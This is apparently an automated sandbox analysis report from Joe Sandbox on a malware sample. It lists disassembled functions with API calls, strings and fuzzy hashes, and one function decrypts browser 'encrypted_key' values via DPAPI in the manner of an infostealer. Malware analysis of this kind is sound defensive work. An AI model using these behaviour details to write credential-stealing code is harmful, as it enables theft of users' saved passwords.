Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178C4
HeapAlloc.KERNEL32(00000000), ref: 004178CB
RegOpenKeyExA.KERNEL32(80000002,00859A08,00000000,00020119,00417849), ref: 004178EB
RegQueryValueExA.KERNEL32(00417849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041790A
RegCloseKey.ADVAPI32(00417849), ref: 00417914

Strings

CurrentBuildNumber, xrefs: 00417901

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: 4c9302de3449b24d107dc6acc84b9b99571be3b3dcaa7f8b3677a924de38e7e6
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: 51014FB5E45309BBEB00DBE4DC4AFAEB779EF44700F10459AF605A6281E774AA408B91

Function 00414300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414325
RegOpenKeyExA.KERNEL32(80000001,00861438,00000000,00020119,?), ref: 00414344
RegQueryValueExA.ADVAPI32(?,00862280,00000000,00000000,00000000,000000FF), ref: 00414368
RegCloseKey.ADVAPI32(?), ref: 00414372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414397
lstrcatA.KERNEL32(?,00862298), ref: 004143AB

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction ID: 95163f332e2e8486d22fa14c8026e7b1b291c890fe90cbe7f90fb3e747a5c624
Opcode Fuzzy Hash: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction Fuzzy Hash: B641B8B6D001086BDB14EBA0EC46FEE773DAB8C300F04855EB7155A1C1EA7557888BE1

Function 004137B0 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137D8

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

strtok_s.MSVCRT ref: 00413921

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction ID: b6ea97cb77591b20574b5f8bad6a91ea9d9e82a59cceccb6aeafc47a8efa6348
Opcode Fuzzy Hash: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction Fuzzy Hash: 9541A471E101099BCB04EFA5D945AEEB779AF44314F00801EF51677291EB78AA84CFAA

Function 0040A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
LocalFree.KERNEL32(00410447), ref: 0040A1E0
CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction ID: e28607e9d9a2a96074382c0c0d30a82733061daf82e5a8752830093732aacc78
Opcode Fuzzy Hash: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction Fuzzy Hash: 9731FC74A01209EFDB14CF94D845BEE77B5AB48304F10815AE911AB3D0D778AA91CFA6

Function 00415190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004151CA
lstrcatA.KERNEL32(?,00421058), ref: 004151E7
lstrcatA.KERNEL32(?,0085DE20), ref: 004151FB
lstrcatA.KERNEL32(?,0042105C), ref: 0041520D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

cA, xrefs: 00415235, 0041526A, 0041528F, 00415238, 0041526D

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cA
API String ID: 2667927680-2872761854
Opcode ID: 4a6ef23028263fd0d14b913685aa1a11d4b65358c76ef53bcbc600c4f6cc3813
Instruction ID: dc16e4b81abbfe3fe676fda19ddb0faac8fab1e973e0b9c2e11f24d889f851c9
Opcode Fuzzy Hash: 4a6ef23028263fd0d14b913685aa1a11d4b65358c76ef53bcbc600c4f6cc3813
Instruction Fuzzy Hash: CD21C8B6E04218A7CB14FB70EC46EED333E9B94300F40455EB656561D1EE78ABC8CB95

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 198c605b63268064c6e3321c907f2861ebf30c0b4d659eb8408d118d522d9ff8
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: 88014BF0D44308BAEB10DFE0DD4ABAEBB78AB14705F20849EE604B62D0D6785581875D

Function 0040A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
Part of subcall function 0040A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
Part of subcall function 0040A2B0: memcpy.MSVCRT(?,?,?), ref: 0040A316
Part of subcall function 0040A2B0: LocalFree.KERNEL32(?), ref: 0040A323

Strings

, xrefs: 0040A511
"encrypted_key":", xrefs: 0040A480
DPAPI, xrefs: 0040A4D9

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 670b58208e1ff2a3ebe60e827019e5f1f1af2f7c111c07866c18d1fd8af9f875
Instruction ID: 27b9d937d1eb2b37959d1b0821c640950517226354c316aa9f1795df4e4508dc
Opcode Fuzzy Hash: 670b58208e1ff2a3ebe60e827019e5f1f1af2f7c111c07866c18d1fd8af9f875
Instruction Fuzzy Hash: 323152B6D00209ABCF04DBD4DC45AEFB7B8BF58304F44456AE901B7281E7389A54CB6A

Function 00417F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
HeapAlloc.KERNEL32(00000000), ref: 00417FCE
RegOpenKeyExA.KERNEL32(80000002,00859730,00000000,00020119,?), ref: 00417FEE
RegQueryValueExA.KERNEL32(?,00861218,00000000,00000000,000000FF,000000FF), ref: 0041800F
RegCloseKey.ADVAPI32(?), ref: 00418022

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 7366865410052b2090c980cb0782fc53e6cc971cacc9a0cbb18d91746b71e1a2
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: 981151B1E45209EBD700CF94DD45FBFBBB9EB48B11F10421AF615A7280E77959048BA2

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: b0bfc99e0bb5f41d030d85d97ebb5ad9faa7414484ca5a523084a8432581bb26
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: D1013179E45209BFDB00DFD0DC49FAE7779EB48701F00419AFA05A7280E770AA008B91

Function 0040A7D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0085DB40,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A7ED
LoadLibraryA.KERNEL32(008613B8,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A876

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

SetEnvironmentVariableA.KERNEL32(0085DB40,00000000,00000000,?,0042137C,?,004102B3,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420B0A), ref: 0040A862

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A7E2, 0040A7F6, 0040A80C

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 0da0ab662caa24aff759b9715d4b603ff2fc3931977615b42c6f9b4c9779ad8c
Instruction ID: e2f153a25b0241b5b599166127738bab9ecbab10861abf647739b816a1383ce1
Opcode Fuzzy Hash: 0da0ab662caa24aff759b9715d4b603ff2fc3931977615b42c6f9b4c9779ad8c
Instruction Fuzzy Hash: 63415BB1E0A2049BC704EBA5EC55BAE37B6AB08305F44552BF505A32E0FB386954CB67

Function 0040A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

